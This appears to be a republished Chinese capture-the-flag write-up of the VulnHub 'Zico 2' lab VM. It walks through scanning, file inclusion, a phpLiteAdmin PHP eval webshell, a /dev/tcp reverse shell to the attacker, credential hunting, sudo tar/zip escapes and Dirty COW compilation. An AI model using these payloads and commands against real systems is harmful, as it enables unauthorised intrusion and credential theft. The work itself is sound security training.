Zico 2 靶机 - 详细流程

  • ✨ 准备工作


  1. 靶机 && kali 环境要求

    机器名网络配置
    靶机Zico 2NAT 模式
    攻击机kaliNAT 模式
  2. 靶机下载链接:zico2: 1 ~ VulnHub   

  3. 打开 VMware,将 zico2.ova 拖拽到 VMware

  4. 设置 虚拟机名称(A) - 存储路径(P)- 导入  

  5. 若是,提示出错,点击重试即可

  6. 启动虚拟机,等待安装完成

  7. 启动成功

  8. 右击靶机 - 设置  

  9. 修改网卡(与自己的主机在同一网段下即可,有插网线推荐桥接,WIFI推荐NAT),这里我选择NAT,点击确定

  10. 关闭虚拟机,重复上述操作(8)

  11. 点击  高级,查看MAC地址 - 确定  

  12. 为了防止干扰,这里我将 网络适配器2 的网卡移除

  13. 打开虚拟机

  • ☄️ 信息收集


  1. 确定NAT网段

  2. 可以看到NAT是192.168.49.0/24网段的

  3. kali 执行

    sudo nmap -sn -PR 192.168.49.0/24

  4. 发现靶机IP为:192.168.49.129

  5. 端口扫描:nmap -sV -p- 192.168.49.129      

  6. 发现开启了 22,80 和 111 以及 54476 端口,尝试访问 80 端口,发现如下页面

  • 🌠 获取shell


  1. 在页面下方,发现一个功能点并点击,发现其 URL 具有文件包含漏洞的特征(文件?参数=页面

  2. 第一时间尝试文件包含读取,将 tools.html  替换为  ../../../../../../../../../../etc/passwd  ,确认存在文件包含漏洞。

  3. 继续寻找功能点,发现可见功能点少的可伶,进行目录扫描,找到一个后台登录界面

    dirsearch -u "http://192.168.49.129/"
    
    # 登录界面:
    http://192.168.49.129/dbadmin/test_db.php

  4. 发现是 PHPLiteAdmin ,使用默认密码 admin进行登录, 登陆成功!

    # 密码
    admin

  5. 版本是1.9.3 ,并且首页包含了其绝对路径,这对我们的漏洞复现会有帮助(复现可以参考一下这篇文章:phpliteadmin <= 1.9.3 远程php代码执行漏洞测试_网络安全|最新Exploit分析的技术博客_51CTO博客 )

  6. 第一步:创建数据库 test.php   (名字任意,带 .php 就行)

    # 链接
    http://192.168.49.129/dbadmin/test_db.php
    
    # Create New Databas
    test.php

  7. 第二步:点击我们新创建的数据库,创建数据表 test_table (这里名字和数量任意)

    # 链接
    http://192.168.49.129/dbadmin/test_db.php?switchdb=%2Fusr%2Fdatabases%2Ftest_users
    
    # Name
    test_table
    
    # Number of Fields
    1

  8. 第三步:写入内容(Field任意,Type为 TEXT,Default Value 处填写我们的恶意语句 <注意:恶意语句不能带任何引号>

    # 链接
    http://192.168.49.129/dbadmin/test_db.php?action=table_create
    
    # Field
    test_content
    
    # Type
    TEXT
    
    # Default Value
    <?php @eval($_POST[cmd])?>

  9. 第四步:写入成功,根据上面提示的绝对路径和任意文件读取漏洞,使用蚁剑进行连接

  10. 确认权限,是一个Web服务用户

  11. 生成反弹shell的语句,在线链接:反弹shell生成器 (ywhack.com)    ,这里我将其反弹到 kali

    # 监听语句
    sudo nc -lvnp 555
    
    # 执行反弹shell的命令
    /bin/bash -c '生成的语句'
    
    # 例:
    /bin/bash -c '/bin/sh -i >& /dev/tcp/192.168.49.131/555 0>&1'

  12. 反弹成功

  • 💫 权限提升(3)


  1. 通过命令查看,确认该靶机可登录的用户有 rootzico

    grep '/bin/bash$' /etc/passwd

  2. 查找可能包含密码的文件,发现 /home/zico/wordpress/wp-config.php 比较可疑

    find / -type f -readable -exec grep -lE "user|username|passwd|password" {} + 2>/dev/null | xargs -r grep -Hn "zico" 2>/dev/null
    
    # 说明
    从根目录开始查找所有可读的文件,筛选出包含特定关键词("user"、"username"、"passwd" 或 "password")的文件
    然后在这些文件中查找包含另一个关键词("zico")的行,
    最终输出匹配行的文件名和行号,并且在过程中忽略权限错误。
    
    # PS:zico 为可登录的用户名

  3. 查看该文件,发现 zico 用户的账户和密码

    cat /home/zico/wordpress/wp-config.php
    
    # 账号
    zico
    
    # 密码
    sWfCsfJSPV9H3AmQzw8

  4. 另起终端,使用 ssh 登录

    ssh zico@192.168.49.129
    
    # 密码
    sWfCsfJSPV9H3AmQzw8

  5. Sudo 提权(2 )&& 脏牛提权(1)

    提权方式详细说明

    方式一:Sudo 提权(2)

    • 列出当前用户拥有sudo权限的命令

    • sudo -l

      sudo -l

    • 发现拥有sudo权限的是 tarzip ,使用 Linux的辅助提权网站,辅助我们提权 GTFOBins  ;

      tar 提权

      • 输入tar  - 点击 Sudo

        tar

      • 复制并执行这条命令,提权成功

        sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

      zip 提权

      • 输入zip  - 点击 Sudo

        zip
          
          # 临时文件
          TF=$(mktemp -u)
          /tmp/147.zip
          
          # 提权 (将/etc/hosts文件压缩到 /tmp/111.zip 文件中)
          sudo zip $TF /etc/hosts -T -TT 'sh #'
          sudo zip /tmp/147.zip /etc/hosts -T -TT 'sh #'
          
          sudo rm /tmp/147.zip

      • 修改并执行命令,提权成功

        sudo zip /tmp/147.zip /etc/hosts -T -TT 'sh #'

    方式二:脏牛提权

    • 查看靶机的系统版本

      uname -r

    • 发现是3.2.0-23 版本,介于 2.6.22 < x < 3.9  ,尝试进行脏牛提权

    • 在蚁剑的 数据管理 中选中建立的连接,右键 - 选择文件管理, 查看文件

    • 下载链接:Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation (/etc/passwd Method) - Linux local Exploit (exploit-db.com)   

    • 若官网不可用,也可以在github任找一个,例:NIMOS/exploit/exploit-db/40839.c at 2c451f84893956f6ef90d689c20062bb073e865d · sominsong/NIMOS (github.com)    ,

    • 将提权文件拖拽到网站目录下(默认路径:/var/www 没有权限,所以我们随便点到 /var/www 目录下的任意文件夹就可以上传了)

    • 切换到当前目录,编译执行,并输入要设置的密码

      # 切换目录(你上传的目录)
      cd /var/www/css
      
      # 查看当前目录
      ls
      
      # 编译 40839.c ,输出可执行文件 40839 
      gcc -pthread 40839.c -o 40839 -lcrypt
      
      # 执行
      ./40839
      
      # 输入要设置的密码(这里我输入123456)
      123456

    • 添加 高权限 firefart 用户 成功

    • PS:这里添加成功后可能会卡住,卡住也没关系,这里我们需要登录之前找到的 zico 用户 来切换用户(当前终端无法切换用户)

      ssh zico@192.168.49.129
      
      # 密码
      sWfCsfJSPV9H3AmQzw8
      
      # 切换用户
      su firefart
      
      # 输入你设置的密码
      123456
      
      # 提权成功

  6. 提权成功,查找flag

    find /root \( -iname "*flag*" -o -exec grep -qi "flag" {} \; \) -print 2>/dev/null
    
    # 说明
    从 /root 目录下查找 文件名或文件内容包含 flag 的文件 (一般flag都在root下,你也可以改为 / ,从根目录开始找)

  7. 附Falg位置: /root/flag.txt   ,

    cat /root/flag.txt

  • 🌌 总结


  1. 流程:主机发现 - 信息收集 - Web渗透 -  获取shell - 权限提升
  2. Web渗透
    1. 当发现 文件?参数=页面 类型,甚至是 文件?参数 ,请第一时间尝试文件包含;

    2. 判明框架网站使用某套框架和特殊的软件时,请第一时间搜索 Nday;

    3. 寻找密码的语句可以在获取 shell 后,尝试运行一下,有时会有意想不到的效果;

      find / -type f -readable -exec grep -lE "user|username|passwd|password" {} + 2>/dev/null | xargs -r grep -Hn "zico" 2>/dev/null
    4. 当某个目录拖不进文件时,可以换它的子目录或父目录,因为只是当前目录没有写的权限罢了;

    5. 寻找 Flag 的语句(每次手动翻太麻烦了,这次直接写个查询语句,以后方便用)

      find /root \( -iname "*flag*" -o -exec grep -qi "flag" {} \; \) -print 2>/dev/null

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/893922.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

3DsMax删除FBX 导出的预设

3DsMax删除FBX 导出的预设 文档 https://help.autodesk.com/view/3DSMAX/2025/CHS/?guidGUID-9939F041-5E2D-4AA8-A732-6C2A1DFB5314删除静态FBX 这个预设 使用everything 搜索预设文件的后缀.fbxexportpreset &#xff0c;然后 文件路径 C:\Users\GoodCooking\Documents\3…

C++标准模板库--vector

vector 介绍 vector&#xff08;向量&#xff09;是一种序列容器&#xff0c;表示为可以改变大小的数组。vector中的元素使用连续的存储位置&#xff0c;这意味着也可以使用指向其元素的常规指针偏移量来访问任意元素&#xff0c;且与数组一样高效。但与数组不同的是&#xff…

React01 开发环境搭建

React 开发环境搭建 一、创建 React 项目二、项目精简 一、创建 React 项目 执行下述命令创建 react 项目 blu-react-basis npx create-react-app blu-react-basis项目目录结构如下&#xff1a; 执行下述命令启动项目 npm run start启动效果如下&#xff1a; 二、项目精简 …

51单片机的万年历【proteus仿真+程序+报告+原理图+演示视频】

1、主要功能 该系统由AT89C51/STC89C52单片机LCD1602显示模块时钟模块按键蜂鸣器等模块构成。适用于电子万年历、数字时钟万年历等相似项目。 可实现功能: 1、LCD1602实时显示年月日星期和北京时间&#xff0c;具备闰年判断功能 2、按键可设置闹钟时间 3、按键可修改当前时…

案例-登录认证

案例-登录认证 在前面的课程中&#xff0c;我们已经实现了部门管理、员工管理的基本功能&#xff0c;但是大家会发现&#xff0c;我们并没有登录&#xff0c;就直接访问到了Tlias智能学习辅助系统的后台。 这是不安全的&#xff0c;所以我们今天的主题就是登录认证。 最终我们…

redo文件误删除后通过逻辑备份进行恢复

问题描述 开发同事让在一个服务器上查找下先前库的备份文件是否存在&#xff0c;如果存在进行下恢复。翻了服务器发现备份文件存在&#xff0c;多愁了一眼竟翻到了该备份文件于2024.6.17日恢复过的日志&#xff0c;赶紧和开发沟通说2024.6.17号已经恢复过了为啥还要恢复&#x…

空间大数据的数据变换与价值提炼

在数字化时代&#xff0c;空间大数据正成为推动社会经济发展的关键因素。空间大数据不仅体量巨大&#xff0c;而且具有高速流转、多样类型和真实性等特点&#xff0c;它们在获取、存储、管理、分析方面超出了传统数据库软件工具的能力范围。地理信息系统&#xff08;GIS&#x…

AWS账号与邮箱的关系解析

在当今数字化时代&#xff0c;云计算服务的普及使得越来越多的企业和个人用户开始使用亚马逊网络服务&#xff08;AWS&#xff09;。作为全球领先的云服务平台&#xff0c;AWS为用户提供了丰富的计算、存储和数据库服务。然而&#xff0c;对于许多新用户来说&#xff0c;关于AW…

openresty通过header_filter_by_lua记录特定的请求头和特定的响应头到日志文件

有时我们希望记录特定的请求头信息和特定的响应头信息,以便能够通过关联请求信息和响应头信息,来实现记录请求和响应的对应关系。这里通过逐步尝试和优化的方式进行尝试。具体包括将需要的请求头和响应头组织到一条日志记录,输出到单独的错误日志文件记录等的配置尝试。 1.…

C语言中的文件操作:从基础到深入底层原理

文件操作是几乎所有应用程序的重要组成部分&#xff0c;特别是在系统级编程中。C语言因其高效、灵活以及接近硬件的特点&#xff0c;成为了文件操作的理想选择。本文将全面深入地探讨C语言中的文件操作&#xff0c;从文件系统的概念到具体的文件操作函数&#xff0c;再到底层的…

c++的哈希表、哈希桶的介绍与实现

目录 前言 哈希概念 哈希冲突 哈希函数 哈希冲突解决 闭散列 —— 开放定址法 开散列 —— 链地址法&#xff08;拉链法、哈希桶&#xff09; 哈希表的闭散列实现 哈希表的结构 哈希表的仿函数 哈希表的插入 哈希表的查找 哈希表的删除 哈希表的开散列实现&#xff…

如何查看默认网关地址:详细步骤

在日常的网络配置与故障排查中&#xff0c;了解并正确查看默认网关地址是一项基础且至关重要的技能。默认网关是连接本地网络与外部网络&#xff08;如互联网&#xff09;的关键节点&#xff0c;它扮演着数据包转发的重要角色。无论是家庭网络、办公室网络还是更复杂的网络环境…

MySQL:基于Spring监听Binlog日志

binlog的三种模式 MySQL 的二进制日志&#xff08;binlog&#xff09;有三种不同的格式&#xff0c;通常被称为 binlog 模式。这三种模式分别是 Statement 模式、Row 模式和Mixed 模式。 Statement 模式&#xff1a; 在 Statement 模式下&#xff0c;MySQL 记录每个会更改数…

【编程语言】Kotlin快速入门 - 类与对象

类的组成 Kotlin中类的基本组成可写成以下的形式&#xff0c;Kotlin也是使用class关键字声明一个类的&#xff0c;我在此也同时加入了name和age两个字段。 class Student: Person() {var name ""var age 1fun eat() {println("$name is $age")} }Kotli…

WebGL编程指南 - 入门续

相关内容&#xff1a;在attribute变量传递参数的基础上&#xff0c;通过JavaScript获取鼠标事件的坐标&#xff0c;再经过坐标转换传递给attribute变量&#xff1b;Web颜色缓冲区每次绘制之后都会重置相关函数&#xff1a;JavaScript鼠标事件onmousedown/onmouseup/onclick htm…

0基础学java之Day09(下午完整版)

六、数组 概念&#xff1a; 1.数组是引用数据类型 2.数组中的数据叫做元素 3.元素都有标号叫做索引/下标 4.下标从0开始 5.数组一旦初始化成功&#xff0c;长度不可变&#xff08;意味着数组没有添加和删除&#xff09; 6.数组中的元素在内存中是挨在一起的 声明&#xff1a; 数…

数据结构与算法 - 树 #数的概念 #二叉树 #堆 - 堆的实现/堆排序/TOP-K问题

文章目录 前言 一、树 (一)、概念 1、树的定义 (二)、树的定义 1、树为什么是递归定义的&#xff1f; 2、如何定义树(如何表达一棵树) 解决方案一&#xff1a;假设我们得知该树的度 解决方案二&#xff1a;顺序表 解决方案三&#xff1a;左孩子右兄弟表示法 二、二叉…

人工智能是否会取代人类的工作吗? 就业方向该如何抉择

人工智能是否会取代人类的工作一直是备受关注的话题。目前来看&#xff0c;人工智能在某些方面确实展现出了强大的能力&#xff0c;但要说完全取代人类还不太可能。 一、人工智能的优势 高效处理大量数据 人工智能可以快速处理和分析海量数据&#xff0c;例如在金融领域进行风…

linux------缓冲区与C库的原理

前言 一、缓冲区 缓冲区的作用是提高效率&#xff0c;因为将数据写入到设备&#xff0c;是需要调用系统接口的&#xff0c;如果每次写入缓冲区的数据就调用一次系统调用&#xff0c;涉及到系统调用这时操作系统就会介入&#xff0c;用户态转为内核态&#xff0c;这个过程需要时…